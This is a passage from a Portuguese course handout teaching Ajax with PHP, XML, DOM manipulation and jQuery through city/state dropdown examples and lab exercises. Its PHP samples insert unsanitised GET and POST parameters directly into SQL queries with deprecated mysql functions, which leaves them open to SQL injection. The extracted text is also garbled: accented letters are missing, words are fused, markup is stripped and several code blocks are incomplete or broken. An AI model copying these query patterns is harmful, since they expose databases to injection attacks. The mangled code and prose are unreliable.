S no se esquea de setar o mtodo correto acima para que o script interprete e receba asvariveis enviadas pelo Javascript no momento de execuo.

Exemplo:

Utilizando um pouco mais de manipulao de elementos em DOM, realize o seguinte exerccio:

Monte um documento em HTML que possua dois componentes do tipo SELECT em um formulrio,sendo que no primeiro sero listados alguns estados brasileiros e no outro ao selecionar-se oestado sero apresentadas as respectivas cidades deste estado, conforme mostrado na imagemabaixo:

Soluo:

Para resolver este exerccio voc necessitar de 4 arquivos:

cidades.php: arquivo onde ficar o formulrio HTML.

ajax01.js: Java script que ser responsvel pela execuo assncrona do arquivo dinmico noservidor e recuperao dos dados para o cliente.


32/100


32

ajax01.php: arquivo dinmico que ser executado pelo Ajax no servidor.

conexo.php: arquivo simples em php que simplesmente far a conexo com o banco de dados.

Primeiro crie as tabelas no banco de dados usando a seguinte query:

CREATE TABLE IF NOT EXISTS estados (

id_estado int(10) unsigned NOT NULL auto_increment,

sigla char(2) ,

nome varchar(50) ,

PRIMARY KEY (id_estado)

);

INSERT INTO estados VALUES("1", "RS", "Rio Grande do Sul");INSERT INTO estados VALUES("2", "SC", "Santa Catarina");

INSERT INTO estados VALUES("4", "SP", "So Paulo");

INSERT INTO estados VALUES("5", "RJ", "Rio de Janeiro");

CREATE TABLE IF NOT EXISTS cidades (

id_cidade int(10) unsigned NOT NULL auto_increment,

id_estado int(10) unsigned ,

nome varchar(100) ,

PRIMARY KEY (id_cidade)

);

INSERT INTO cidades VALUES("1", "1", "Porto Alegre");

INSERT INTO cidades VALUES("2", "1", "Alvorada");

INSERT INTO cidades VALUES("3", "1", "Viamo");

INSERT INTO cidades VALUES("4", "2", "Sombrio");

INSERT INTO cidades VALUES("5", "2", "So Joo do Sul");

INSERT INTO cidades VALUES("6", "4", "So Paulo");

INSERT INTO cidades VALUES("7", "5", "Rio de Janeiro");

Agora que possumos os dados que sero acessados no banco de dados, criamos o arquivo deconexo com o banco:

CONEXAO.PHP


33/100


33

A seguir o arquivo CIDADES.PHP o qual ser a interface para o usurio:

Exercicio Ajax

Formulrio:

Estado:

Selecione


34/100


34

$total = mysql_num_rows($rs);

for($x = 0; $x < $total; $x++)

{

$id_estado = mysql_result($rs, $x, 'id_estado');$nome = mysql_result($rs, $x, 'nome');

?>


35/100


35

$id_estado = $_GET["id_estado"];

$sql = "select * from cidades where id_estado = $id_estado";$rs = mysql_query($sql) or die(mysql_error());


$resultado = '';

for($x = 0; $x < $total; $x++){

$resultado .= utf8_encode(mysql_result($rs, $x, 'nome')) . ',';

}

echo $resultado;?>

Observe que devido a codificao de caracteres recomendvel converter a string enviada parautf8 antes de prosseguir com a operao.

Por fim, iremos montar o arquivo em Java script que realizar a requisio ao servidor:

AJAX01.JS

function criaxmlhttp(){

try{

xmlhttp = new XMLHttpRequest();

}catch(e){

try{

xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");

}catch(e1){

try{

xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");

}catch(e2){

xmlhttp = false;

document.write("Navegador no da suporte a Ajax!");}

}

}

}


36/100


36

function acessa(elemento,valor){

criaxmlhttp();

xmlhttp.open("GET","ajax01.php?id_estado="+valor,true);


if(xmlhttp.readyState == 4){

monta(elemento);

}else{

document.getElementById(elemento).innerHTML="Carregando...";

}

}

xmlhttp.send(null);

}

function monta(elemento){


campo = document.getElementById(elemento);

campo.options.length = 0;

var dados_vet = dados.split(',');

for(i = 0; i < dados_vet.length-1; i++){

campo.options[i] = new Option(dados_vet[i]);

}

}

Devemos neste caso apenas dar uma ateno especial a funo monta(), a qual foi modificadapara manipular via DOM as propriedades do componente SELECT do formulrio que montamos.

De qualquer forma a manipulao por texto a mais simples e mais usada por Ajax atualmente,sendo que devemos ter domnio e dar a devida importncia a manipulao de elementos do

documento via DOM.

Laboratrio:


37/100


37

1. Crie dois selects: O primeiro deve conter uma lista de tipos de filme que seja carregada apartir de um banco de dados. Ao clicar duas vezes sobre o tipos de filme o mesmo deveser deslocado para o select 2.

2. Crie um select com uma lista de 3 pginas que ao ser alterado mudar o contedo de uma

div para a pgina montada com algum parmetro.3. Monte uma caixa de texto que pesquise o que for digitado e mostre o que for encontrado

em uma tabela em uma div logo abaixo(como um auto-completar)

4. Crie uma lista de categorias de produtos que exiba em uma textarea a lista dos produtosdesta categoria.

Unidade 4 - Estrutura de um documento

XML

Dentre o uso do Ajax, temos como acompanhamento a utilizao de uma tecnologia j bemdifundida no ambiente web e no desenvolvimento de software, o qual se resume a simplicidade e aeficcia entre a compatibilidade de outras diversas tecnologias do mercado, o XML (eXtensibleMarkup Language).

O XML consiste em um arquivo parecido com o HTML, porem ao invs de possuir tags comformatao, possui dados.

A sua organizao mais rgida e imposta por padres globais, isso se justifica ao fato de o XML

ser utilizado seguidamente por dispositivos de baixo poder de armazenamento e processamento(celulares, pdas, palmtops, etc), o que os impede de realizar o debug do cdigo como ocorre noscomputadores domsticos por exemplo.

A estrutura de um documento XML e baseada em TAGS, sendo que possumos algumas regrasbsicas para a criao de um documento XML consistente, veja o exemplo abaixo:


38/100


38

Porto Alegre

Viamo

Onde:

Municpios: TAG root (PAI) do documento, todo documento XML deve possuir uma TAG ROOT, aqual no possui dados, e sim somente filhos (cidades).

Cidades: nodo ou n filho da tag root municpios.

Cidade: nodo ou n filho da tag cidades, e neta da tag root municpios, possui um n irmo(com mesmo nvel hierrquico) chamado cidade.

O documento XML possui extenso XML, e deve sempre vir acompanhado de um cabealhoespecifico, onde o atributo encoding opcional.

Ao criar as tags no seu arquivo XML nunca use espaos e acentos ou caracteres especiais.

Os navegadores mais comuns (Internet Explorer e Firefox) possuem uma grande facilidade nainterpretao destes arquivos, sendo que erros de sintaxe como mal fechamentos das tags porexemplo acusam erros no navegador, o que gera a seguinte forma de retorno:

Firefox:

Internet Explorer:


39/100


39

DICA: a utilizao dos arquivos XML muito comum no ambiente Microsoft, exemplo disso anova extenso de documento do Office 2007, onde seguem os padres antigos, porem com umX no final (.*docx, *.xlsx, *.pptx) isso tornou os arquivos mais leves e acessveis mesmo paraquem no possui o Office.

Os documentos XML geralmente so gerados por um arquivo dinmico, exemplo disso so osarquivos de Feeds (RSS), onde vemos noticias e informaes incorporadas e atualizadas a cadaminuto por um determinado site.

Como estamos trabalhando com Ajax e PHP veremos ento uma forma prtica de criarmos umarquivo XML utilizando de DOM e PHP juntos.

Laboratrio.1. Crie um XML que reproduza a estrutura de notas de alunos

2. Crie um XML que reproduza a estrutura de cadastros de produtos

3. Crie um XML que reproduza o cadastro de clientes

4. Crie um XML que demonstre uma tabela de classificao de times de futebol

5. Crie um XML que represente a cotao de vrias moedas

4.2 Montando um documento XML com DOM e PHP.

As verses mais recentes do PHP possuem uma classe chamada domDocument a qual permitemanipularmos uma serie de elementos de documentos com o PHP. com esta classe quepoderemos elaborar a montagem de um arquivo XML pelo nossos script dinmico.

Primeiramente iremos criar um documento novo em PHP e o salvaremos comoexemplo01_xml.php.


40/100


40

Como mencionado anteriormente utilizaremos um classe embutida no php que nos permite amanipulao de elementos com DOM, logo necessitamos instanciar esta classe em um objeto:

$dom = new domDocument;

Para criarmos uma nova tag, no nosso caso a primeira a ser criada ser definiada por nos comotag ROOT do documento, precisaremos chamar o mtodo cretaElement, que possui a seguintesintaxe:

Objeto.createElement(nome,valor);

Ou seja,

$municipios = $dom->createElement(municipios);

Toda vez que criamos um elemento, este ficar solto no ambiente at que seja designado um pai aeste nodo, para realizarmos esta atribuio necessitamos de um outro mtodo chamadoappendChild, que possui a seguinte sintaxe:

Objeto.appendChild(nodo);

Ou seja,

$dom->appendChild($municipios);

Por fim deveremos salvar o XML criado em um novo documento, porem com extenso apropriada:

$dom->save(exemplo01_xml.xml);

Um script bsico para a criao do XML se resume como mostrado a seguir:

EXEMPLO01_XML.PHP

Quando executarmos o documento gerado pelo nosso arquivo php obteremos a seguinteapresentao:


41/100


41

Como no possumos nenhum dado dentro da TAG municpios o prprio PHP trata de resumi-la,sendo que este processo no obrigatrio, mas tratado como uma certa elegncia nos padresde leitura.

Observe agora que se quisermos dar continuidade a criao do XML at que tenhamos estruturasemelhando a apresentada no inicio deste capitulo deveremos atentar para um detalhe:

$dom->appendChild($municipios);

O Objeto $dom quem recebe como filho a tag municpios.

Logo, se criarmos outro elemento chamado cidades, quem receber o elemento como filho no

ser o objeto $dom e sim o objeto $municipios:

$cidades = $dom->createElement(cidades);

$municipios->appendChild($cidades);

Faremos o mesmo processo com os outros elementos:

$cidade = $dom->createElement('cidade');

$cidades->appendChild($cidade);

Por fim, criaremos os ltimos elementos irmo filhos de cidade:

$nome = $dom->createElement('nome','Porto Alegre');

$cidade->appendChild($nome);

Veja abaixo o cdigo completo do algoritmo em php:


42/100


42

$nome = $dom->createElement('nome','Porto Alegre');

$cidade->appendChild($nome);

$dom->save('exemplo01_xml.xml');

?>

O resultado ser o seguinte:

A maneira de implementao do PHP em XML bem simples e funcional, lembrando quepodemos fazer algo mais robusto e dinmico interagindo diretamente com o banco de dados.

Laboratrio:

Como mencionado anteriormente podemos implementar um XML atravs de retorno de dadosvindos do banco de dados:

1. Implemente um algoritmo em PHP que retorne os dados da tabela de cidades da base dedados j criada anteriormente.

Veja uma forma de interpretao do diagrama abaixo:


43/100


43

Como mencionado anteriormente podemos implementar um XML atravs de retorno de dadosvindos do banco de dados:

2. Monte dinamicamente um XML que represente uma receita

3. Crie e alimente um XML dinamicamente que mostre um organograma simples de umaempresa

4. Crie e alimente um XML dinamicamente que represente um currculo

5. Crie e alimente um XML dinamicamente que mostre e hierarquia de pastas de um

computador

4.3 Montando um XML em PHP de forma Textual

muito comum vermos arquivos em verses anteriores do PHP utilizando a forma textual (strings)para retornar e gerar arquivos em XML pelo script.

Esta forma apesar de no muito adequada, pois bem sujeita a erros, ainda muito utilizada econsistem em atravs de Loops ou somente atribuio armazenar a sintaxe do arquivo XML emuma varivel PHP.

Veja um exemplo abaixo:


44/100


44

$xml .= '';

$xml .= 'Porto Alegre';

$xml .= '';

$xml .= '';$xml .= 'Viamao';

$xml .= '';

$xml .= '';

$xml .= '';

echo $xml;

?>

4.4 Retorno do contedo em XML para o Ajax

Aps termos adotado uma forma de gerarmos o arquivo XML com os dados que devem seracessados pelo Javascript, teremos que de alguma forma realizar a leitura destes dados pelonavegador.

Vimos anteriormente que a atravs do mtodo obj.responseText, os dados retornados em formatoTEXTO podem ser lidos e tratados facilmente pelo nosso script.

Agora utilizaremos outro mtodo especifico para a leitura dos dados XML, o obj.responseXML,onde teremos mais facilidade em navegar pela estrutura do documento, podendo acessardiretamente nveis hierrquicos dentro do mesmo e atributos de cada TAG existente dentro do

XML.Veja um exemplo prtico a seguie e logo acompanhe a analise, lembrando que aproveitaremos anossa funo j implementada (criaxmlhttp()).

function leXML(url) {

criaxmlhttp();

document.getElementById("cabecalho").innerHTML = "Carregando ";

xmlhttp.open("POST", url, true);

xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-

urlencoded");

xmlhttp.setRequestHeader("Cache-Control", "no-store, no-cache, must-revalidate");

xmlhttp.onreadystatechange=function() {

if (xmlhttp.readyState == 4) {


45/100


45

if (xmlhttp.status == 200) {

montaResultado();

}

}}

xmlhttp.send(null);

}

Observe que alguns novos elementos esto disponveis na sintaxe da funo que l nossodocumento XML.

O mtodo setRequestHeader responsvel por inserir informaes adicionais no cabealho dodocumento lido passando alguns parmetros para variveis j definidas na estrutura:

xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

xmlhttp.setRequestHeader("Cache-Control", "no-store, no-cache, must-revalidate");

Na primeira linha estamos atribuindo o valor de Aplicao ao tipo de contedo lido, j na segundao script seta o Controle de Cache do navegador como sem armazenamento, Sem cach,Revalidavel, ou seja, estamos limpando o cach do navegador para executar a leitura dessesdados, evitando assim que os mesmos sejam reaproveitados pelo browser.

Logo a seguir voc pode observar que nosso teste de leitura do documento acesado efetua umnovo teste com o mtodo xmlhttp.status, onde estamos verificando se o mesmo igual a 200, ouseja, se a pgina requisitada foi encontrada pelo servidor. O valor 200 significa pgina encontrada,podendo ser trocado por outros valores que significam outros estados de acessibilidade dodocumento.

Veja a tabela a seguir:

Cdigo Significado Descrio

200 Ready Documento encontrado epronto para ser lido.

400 Bad RequestRequisio nocompreendida peloservidor.

401 Unauthorized A requisio s pode ser


46/100


46

retornada medianteautenticao.

403 ForbiddenO objeto no temautorizao de realizar a

requisio.

404 Not Found Documento noencontrado.

405 Method not Allowed

O mtodo utilizado paraexecutar a requisio no permitido pelo servidorou pelo documento.

500 Internal Server ErrorO servidor retornou umerro ao tentar responder arequisio.

Vamos agora implementar uma funo capaz de navegar por cada elemento do documento XMLque lemos durante a requisio:

function montaResultado(){

var dados_xml = xmlhttp.responseXML;

// Recupera todos os elementos categoria do objeto XML

var cidades = dados_xml.getElementsByTagName("cidades");

for (var i = 0; i < cidades.length; i++) {

// Atribui a cidade cada elemento

cidade = cidades[i];

for(var x = 0; x < cidade.childNodes.length; x++){

codigo =cidade.getElementsByTagName("codigo")[x].firstChild.nodeValue;

descricao =cidade.getElementsByTagName("descricao")[x].firstChild.nodeValue;

// Chama a funo que cria as linhas da tabela

document.write(codigo);

document.write(descricao);

document.write("");


47/100


47

}

}

}

Como podemos observar o resultado retornado pelo documento requisitado foi armazenado navarivel dados_xml atravs do mtodo j mencionado responseXML.

Inicialmente o script realizar a busca de um elemento pelo nome de sua TAG, utilizando-se domtodo getElementByTagName, logo aps da mesma forma que fazamos com o documento emformato texto, realizado um loop que percorre os nodos filhos dessa tag, e atribui esses valoresas variveis cdigo e descrio.

Neste caso importante ressaltar a utilizao do mtodo childNodes, o qual refere -se aos nodosfilhos da tag selecionada.

Veja abaixo alguns outros mtodos importantes no Java Script que facilitam bastante a navegaopor um documento XML.

.childNodes: retorna um vetor com o ndice de ns (nodos) do elemento referenciado.

.firstChild: retorna o primeiro nodo filho do elemento referenciado.

.lastChild: retorno o ultimo nodo filho do elemento referenciado.

.nodeValue: recupera o valor de um nodo.

.parentNode: retorna o nodo pai do elemento referenciado.

.nextSibiling: retorna o elemento irmo localizado posteriormente ao elemento atual.

.previousSibiling: retorna o elemento irmo localizado anteriormente ao elemento atual.

.getElementsByTagName: retorna um vetor contendo a relao dos nodos filhos do elementoreferenciado.

.hasChildNodes: retorna um valor booleano (true ou false) caso o elemento possua nodos filhos.

.getAttribute: retorna o valor desejado de um atributo do elemento referenciado.

Laboratrio:

1. Crie, alimente e retorne o contedo de um XML que mostre uma seqncia de jogos docampeonato brasileiro com seus resultados

2. Crie, alimente e retorne o contedo de um XML que represente os horrios de linhas donibus intermunicipais

3. Crie, alimente e retorne o contedo de um XML que exiba a configurao de algunsnotebooks

4. Crie, alimente e retorne o contedo de um XML que demonstre a lista de compras deusurios em um e-commerce


48/100


48

5. Crie, alimente e retorne o contedo de um XML que represente a discografia dedeterminados artistas


49/100


49

Unidade 5 - Requisies dinmicas em Ajaxao PHP

5.1 Criando um documento XML textual com conexoao banco de dados

Iremos agora unir o que vimos at o momento, sendo que os dados do documento XML queiremos montar sero acessados diretamente do servidor.

A lgica do processo simples, o usurio acessara um documento HTML que possuir umcomponente responsvel por executar um script dinmico em PHP no servidor, este script por usavez ir gerar um documento em XML e retornar esses dados ao usurio.

Para realizar estas atividades utilizaremos um template muito conhecido na rea de PHP chamadotemplatepower, que pode ser facilmente localizado na Internet.

Em primeiro lugar vamos criar um novo documento HTML o qual possuir simplesmente doismenus de seleo dentro de um formulrio. Observe:

Site_cidades.htm

--Selecione o estado >>

{descricao_abreviada}


50/100


50

--Primeiro selecione o estado--

O processo todo ser realizado no momento em que clicarmos no menu estado formulrio.

Vamos antes montar o arquivo php que interpretar este documento HTML realizando aconversao com o banco de dados e montando o MENU dos estados, no esquecendo deincluirmos dois arquivos (conexo.php e a classe TemplatePower, responsvel pelo sistema deuso de templates):

Site_cidades.php


51/100


51

$tpl->assign('id_uf',mysql_result($rs, $x, 'id_estado'));

$tpl->assign('descricao_abreviada',mysql_result($rs, $x, 'nome'));

}

$tpl->gotoBlock('_ROOT');$tpl->printToScreen();

?>

Aps este processo implementaremos agora o ultimo arquivo dinmico, o documento que serresponsvel por retornar os dados do banco de dados em formato XML para o navegador.

Ajax_cidades.php

include_once('conexao.php');

$pEstado = $_POST["estado"];

$sql = "select * from cidades where id_uf = ".$pEstado." order by nome";

$rs = mysql_query($sql) or die(mysql_error());


//VERIFICA SE VOLTOU ALGO

if($total > 0){

$xml = "\n";

$xml .= "\n";

for($x = 0; $x < $total; $x++){

$xml .= "\n";

$xml .= "".mysql_result($rs, $x, 'id_cidade')."\n";

$xml .= "".mysql_result($rs, $x,'descricao')."\n";

$xml .= "\n";

}

$xml.= "\n";

header("Content-type: application/xml; charset=iso-8859-1");


52/100


52

}

echo $xml;

?>

Se voc executar este documento no navegador, poder observar que ele retorna um documentoXML em formato Textual, ou seja, ao longo da implementao criamos uma string que recebia osvalores do XML e os atribua a si mesmo, bastando no final escreve-la na tela.

O documento XML retornado como esse, porem populado com os dados do banco:

Criaremos ento um novo arquivo em .JS e nele armazenaremos as nossas funes, s noesquea de incluir este arquivo no documento HTML aps a sua concluso.

Ajax_cidades.js

function Dados(valor) {

//verifica se o browser tem suporte a ajax

try {ajax = new ActiveXObject("Microsoft.XMLHTTP");

}

catch(e) {

try {


53/100


53

ajax = new ActiveXObject("Msxml2.XMLHTTP");

}

catch(ex) {

try {ajax = new XMLHttpRequest();

}

catch(exc) {

alert("Esse browser no tem recursos para uso do Ajax");

ajax = null;

}

}

}if(ajax) {

//deixa apenas o elemento 1 no option, os outros so excludos

document.forms[0].listCidades.options.length = 1;

idOpcao = document.getElementById("opcoes");

ajax.open("POST", "../php/ajax_cidades.php", true);

ajax.setRequestHeader("Content-Type", "application/x-www-form-

urlencoded");

ajax.onreadystatechange = function() {

//enquanto estiver processando...emite a msg de carregando

if(ajax.readyState == 1) {

idOpcao.innerHTML = "Carregando...!";

}

//aps ser processado - chama funo processXML que vai varreros dados

if(ajax.readyState == 4 ) {

if(ajax.responseXML) {

processXML(ajax.responseXML);

}


54/100


54

else {

//caso no seja um arquivo XML emite a mensagem abaixo

idOpcao.innerHTML = "--Primeiro selecione o estado--";

}}

}

//passa o cdigo do estado escolhido

var params = "estado="+valor;

ajax.send(params);

}

}

Como voc pode observar fizemos a juno das conexes e componentes de objetos em XMLHttpem uma mesma funo desta vez, esta sistemtica opcional e voc pode optar por manter autilizao de funes separadas, como foi o caso de usarmos anteriormente a funocriaxmlhttp() para o Ajax.

Por fim, logo aps esta funo iremos disponibilizar no mesmo arquivo a funo responsvel pormontar o menu de opes com as cidades listadas conforme o estado escolhido.

function processXML(obj){

//pega a tag cidade

var dataArray = obj.getElementsByTagName("cidade");

//total de elementos contidos na tag cidade

if(dataArray.length > 0) {

//percorre o arquivo XML paara extrair os dados

for(var i = 0 ; i < dataArray.length ; i++) {

var item = dataArray[i];

//contudo dos campos no arquivo XML

var codigo =item.getElementsByTagName("codigo")[0].firstChild.nodeValue;

var descricao =item.getElementsByTagName("descricao")[0].firstChild.nodeValue;

idOpcao.innerHTML = "--Selecione uma das opes abaixo--";


55/100


55

//cria um novo option dinamicamente

var novo = document.createElement("option");

//atribui um ID a esse elemento

novo.setAttribute("id", "opcoes");//atribui um valor

novo.value = codigo;

//atribui um texto

novo.text = descricao;

//finalmente adiciona o novo elemento

document.forms[0].listCidades.options.add(novo);

}

}else {//caso o XML volte vazio, printa a mensagem abaixo

idOpcao.innerHTML = "--Primeiro selecione o estado--";

}

}

A estrutura muito parecida com o que vimos no capitulo anterior, sendo que devemos darateno aos mtodos de Dom responsveis pela montagem do menu de listagem no HTML.

Exemplo:

document.forms[0].listCidades.options.add(elemento);

A sintaxe simples, mostrando que apenas da mesma maneira que navegamos por nveis no XMLdevemos acessar os elementos do documento. Como mencionado anteriormente o domnio doDOM essencial para a realizao de bons trabalhos em Ajax.

O resultado do seu script ser como mostrado na imagem abaixo:


56/100


56

Laboratrio:

1. Crie um formulrio como o do Twitter, que ao postar o contedo postado aparea logoabaixo

2. Crie uma lista de notcias que seja exibida dinamicamente conforme a tela abaixo


57/100


57


58/100


58

Unidade 6 - Manipulando o DOM emJavascript para recursos com Ajax

6.1 Acesso aos estilos dos componentes dodocumento

Esta unidade tem como fins introdutrios os captulos finais deste curso, como mencionado desdeo inicio o domnio de DOM essencial para aproveitarmos ao mximo os recursos do Java Scriptem conjunto com Ajax.

Como voc j deve saber o acesso aos estilos dos componentes do documento web feito

principalmente por folhas de estilos, o CSS. Estas propriedades podem tambm ser acessadas viaDOM, dando mais nfase aos recursos que queremos disponibilizar ao documento para o usurio.

Veja o documento a seguir:

Curso de Ajax

Este cdigo simplesmente cria um documento HTML composto por uma DIV que possui umcontedo. As propriedades dessa DIV podem ser modificadas por um SELETOR no arquivo CSSdeste documento. Entretanto, como a mesma possui um nome (ID) podemos acessa-la facilmentepelo DOM do Javascript.

Caso quisssemos atribuir uma borda nela por exemplo:

elemento = document.getElementById("quadro");

elemento.style.border= '1px #FF0000 dashed';


59/100


59

Como voc pode observar primeiro devemos procurar o elemento dentro do documento com omtodo getElementById. Aps isso armazenamos o mesmo dentro de uma varivel, e a seguiracessamos todo e qualquer propriedade deste elemento por nveis.


elemento.style.border = '1px #FF0000 dashed';

elemento.style.width = '100px';

elemento.style.position = 'absolute';

elemento.style.background = '#FF0000';

elemento.style.color = '#FFFFFF';

Consultando um guia das principais tags em CSS voce pode melhorar as suas apresentaes emAjax, atribuindo cores e comportamentos conforme o resultado retornado.

Vamos agora atribuir essas propriedades uma funo e executa-la no ato de carregamento dodocumento.

function estilo(){


elemento.style.border = '1px #FF0000 dashed';

elemento.style.width = '100px';

elemento.style.position = 'absolute';

elemento.style.background = '#FF0000';

elemento.style.color = '#FFFFFF';

}

Curso de Ajax


60/100


60

Laboratrio.1. Crie os seguintes formulrios e funes que permitam manipular suas caractersticas de

estilos:


61/100


61

2. 2.Cria as seguintes tabelas e funes que permitam manipular suas caractersticas deestilos.


62/100


62

6.2 Bibliotecas livres: a facilidade na manipulao dedocumentos

A facilidade em trabalhar com desenvolvimento web se d principalmente a termos a nossadisposio milhares de contedos livres disponveis na internet, sendo que muitosdesenvolvedores no se contentam somente a desenvolver solues com as ferramentas elinguagens disponveis, e acabam por querer melhorar a forma de desenvolvimento como um todo

visando ganhar tempo e melhor a eficcia das suas aplicaes.Exemplo disso e a utilizao de uma biblioteca rpida e concisa que simplifica a escrita dacodificao Java Script no HTML, a JQuery.


63/100


63

Disponvel para download no endereo: http://jquery.com/, o prprio slogan da biblioteca j diz:Escreva menos, faa mais. Esta biblioteca se baseia em inmeras expresses regulares querealizam o teste de cada sintaxe disponvel na linguagem Java Script e permite que estescomandos sejam resumidos no cdigo, sendo depois trocados por suas verdadeiras codificaes

pela prpria biblioteca.

Existem diversas outras bibliotecas concorrentes, sendo que dentre elas podemos citar: Prototype,Dojo, Yahoo! UI, entretanto a JQuery destaca-se pela sua facilidade de uso e pelo seu tamanho:

19Kb j com o modulo de Ajax!

Veja abaixo um exemplo diferenciando o da implementao feita com JQuery:

$(a).click(function(){

alert(Voce clicou!);

});

Neste exemplo estamos dizendo que todo e qualquer link (TAG A) ao ser clicado (evento onclick)ir executar a mensagem Voc clicou!.

Ou seja, em 3 linhas voc consegue expressar uma serie de testes e configuraes com inmeroscomportamentos vinculados a eventos por exemplo.

Imagine que voc deseje selecionar todas as tags DIV do seu documento:

Java Script:

document.getElementsByTagName(div);

JQuery:

$(div);

Agora suponhamos que voc queira selecionar uma DIV com um ID especifico:

Java Script:

Document.getElementsById(id_da_div);

JQuery:$( #id_da_div);

Pegando um exemplo pratico, suponhamos que voc queria esconder todas as tags P de umelemento especifico:
http://jquery.com/http://jquery.com/


64/100


64

JQuery:

$( p, id_da_div).hide();

Fcil no? Alem de poder manipular os eventos e propriedades dos elementos, o JQuery contacom efeitos visuais pr-definidos, veja o exemplo:

$(p).fadeIn(slow);

$(p).fadeOut(slow);

$(p).fadeTo(slow, 0.5);

Neste exemplo estamos atribuindo o efeito de Fade (Esmaecimento) a todas as tags P do

documento.Dentre as atribuies, algumas mais usadas nos nossos dias como a manipulao de eventostambm seguem a facilidade e simplicidade no uso:

Veja o cdigo HTML abaixo:

www.vipertech.com.br

Clique aqui

Criaremos agora o script que manipula o evento do boto do formulrio:

$("botao").click( function() {

$("p", "menu" ).fadeOut ("slow");

});

O que estamos fazendo simples e bem fcil de compreender, procuramos o elemento Botodentro do documento, e atribumos uma funo ao evento CLICK, que consiste em aplicar o efeitoFADEOUT ao pargrafo nomeado MENU.

Como voc j deve ter observado, s neste exemplo poupamos a escrita de inmeras linhas decdigo, ganhando muito tempo de implementao.

Por fim na JQuery temos mtodos simples, como o que simula a funo innerHTML do Java Script:

("div").html("Novo N HTML");

E atributos de imagem:


65/100


65

("botao").click( function() {

("img").attr("src","img/editar.png");

});

A documentao do site em que voc baixa a biblioteca bem completa, sendo que muito materiale exemplos so encontrados facilmente na internet, devido a rpida difuso deste material. Aseguir usaremos algumas outras bibliotecas livres para criarmos uma funcionalidade no mnimointeressante para o nosso site.

Laboratrio:

1. Crie um texto com efeito de rolagem

2. Crie um texto com efeito de esmaecimento e reaparecimento3. Crie um texto com efeito de desaparecimento sem ocupar mais especo que ocupava

anteriormente

4. Crie um texto com efeito de desaparecimento ainda mantendo o especo que ocupavaanteriormente

5. Crie um texto com efeito que simule piscar

6.3 Criando uma janela arrastvel

Recursos como o drag so muito usados em documentos que permitem certa interao do usuriocom o site. Realizar esse processo no muito complicado, sendo o problema maior est em fazeralgo que funcione em diversos navegadores (crossbrowsser). Utilizando-se dos recursos dabiblioteca JQuery, e a juno de mais duas outras bibliotecas (iutil.js e idrag.js) iremos implementarde maneira rpida este recurso to atraente.]

Primeiramente baixe os dois arquivos faltantes no seguinte endereo:

http://interface.eyecon.ro/download

Aps ter realizado o download teremos que incluir nesta ORDEM os trs arquivos em nossodocumento HTML:
http://interface.eyecon.ro/downloadhttp://interface.eyecon.ro/download


66/100


66

Aps este processo voce ira criar uma DIV com um ID, a qual chamaremos de NOTICIAS.

Coloque algum contedo dentro desta DIV, sendo que podemos ter qualquer coisa dentro dela.Veja o exemplo abaixo:

Arraste

Aps iremos simplesmente implementar o script com a JQuery capaz de realizar o processo deDRAG and DROP desta DIV.

Observe o cdigo abaixo:

$(document).ready(

function(){

$('#noticias').Draggable(

{

ghosting: true,

opacity: 0.5

}

);

}

);


67/100


67

O significado lgico deste script que ao carregarmos o documento, uma funo executada erasteia o documento atual procurando um elemento chamado NOTICIAS, atribuindo a propriedadeDRAGGABLE presente na classe IDRAG. Alguns efeitos como GHOSTING: rastro, OPCITY:opacidade. Sendo que caso desejemos aplicar estes efeitos em outros elementos, basta apenas

replicar o bloco referente DIV.

Vejamos mais alguns exemplos de parmetros que a funo DRAGGABLE possui:

snapDistance: Este parmetro defini quantos pixels os objeto deve ser movimentado para queseja iniciado o processo de arrastar. Isto serve basicamente para evitar que ocorra umamovimentao acidental

frameClass: a definio da classe que ser aplicada ao objeto no momento da seleo.

ghosting: Ao invs de arrastar o objeto, criado uma cpia dele e voc acaba arrastando a cpia,quando soltar o objeto original segue at o ponto que voc solto.

opacity: Aplica uma opacidade na cpia do objeto.

revert: Voc arrasta o objeto e ele retorna para o ponto inicial.

grid: [x, y]: Mover em grade. Faz com que o objeto mova-se de tantos em tantos pixels no eixo (xe y).

axis: 'vertically' ou 'horizontally' : Mover o objeto ou apenas na vertical ou na horizontal. Paracriara barras por exemplo.

zIndex: Define a camada que o objeto ir ocupar.

cursorAt: { top: x, left: y }: Faz com que o bloco siga o ponteiro do mouse em determinadacoordenada.

containment: 'parent': Determina se o objeto poder se mover dentro do objeto onde est contidoou se poder mover-se por todo o documento.

handle: 'alvo': Este parmetro serve para voc usar um determinado objeto dentro do bloco quedeseja arrastar para ser seu ponto de arrasto. Como se fosse s naquele ponto onde se podearrastar o objeto.

Laboratrio


68/100


68

1. Crie uma lista de 9 itens que s possam ser arrastados para uma rea chamada carrinhode compras

2. Crie 5 imagens no formato de x e 5 no formato de bola. Crie uma tabela de 3 x 3 e permitaque as imagens possam ser arrastadas para as clulas desta tabela

3. Crie um trs objetos em camadas diferentes que possam ser manipulados por todo odocumento.


69/100


69

6.4 Criando uma vore de menus

Um dos recursos mais interessantes da biblioteca jquery a criao de menus na estrutura dervores. Este processo que j bem utilizado com javascript, mas a biblioteca jquery tornou esteprocesso bem mais simples.

Para realizar estas atividades necessrio baixar:

jquery.treeview.js

treeview.css

Nosso objetivo final uma tela como a tela abaixo:


70/100


70

Bem ento vamos incluir os arquivos necessrios para a execuo:

Logo aps vamos incluir o cdigo jquery

$(document).ready(function(){

// first example

$("#navigation").treeview({

persist: "location",

collapsed: true,

unique: true

});

});

Por fim colocamos a estrutura HTML que ir representar a estrutura propriamente dita:


71/100


71

Exemplo de Menu em rvore

Item 1

Item 1.0

Item 1.0.0

Item 1.1Item 1.2

Item 1.3

Item 1.2.0

Item 1.2.0.0

Item 1.2.0.1

Item 1.2.0.2

Item 1.2.1

Item 1.2.1.0

Item 1.2.2

Item 1.2.2.0

Item 1.2.2.1

Item 1.2.2.2


72/100


72

Item 2

Item 2.0

Item 2.0.0

Item 2.0.0.0Item 2.0.0.1

Item 2.1

Item 2.1.0

Item 2.1.0.0

Item 2.1.1

Item 2.1.1.0

Item 2.1.1.1

Item 2.1.1.2

Item 2.1.2


73/100


73

Item 2.1.2.0

Item 2.1.2.1

Item 2.1.2.2

Item 3

Item 3.0

Item 3.0.0

Item 3.0.1

Item 3.0.1.0

Item 3.0.1.1

Item 3.0.2

Item 3.0.2.0

Item 3.0.2.1

Item 3.0.2.2


74/100


74

Laboratrio

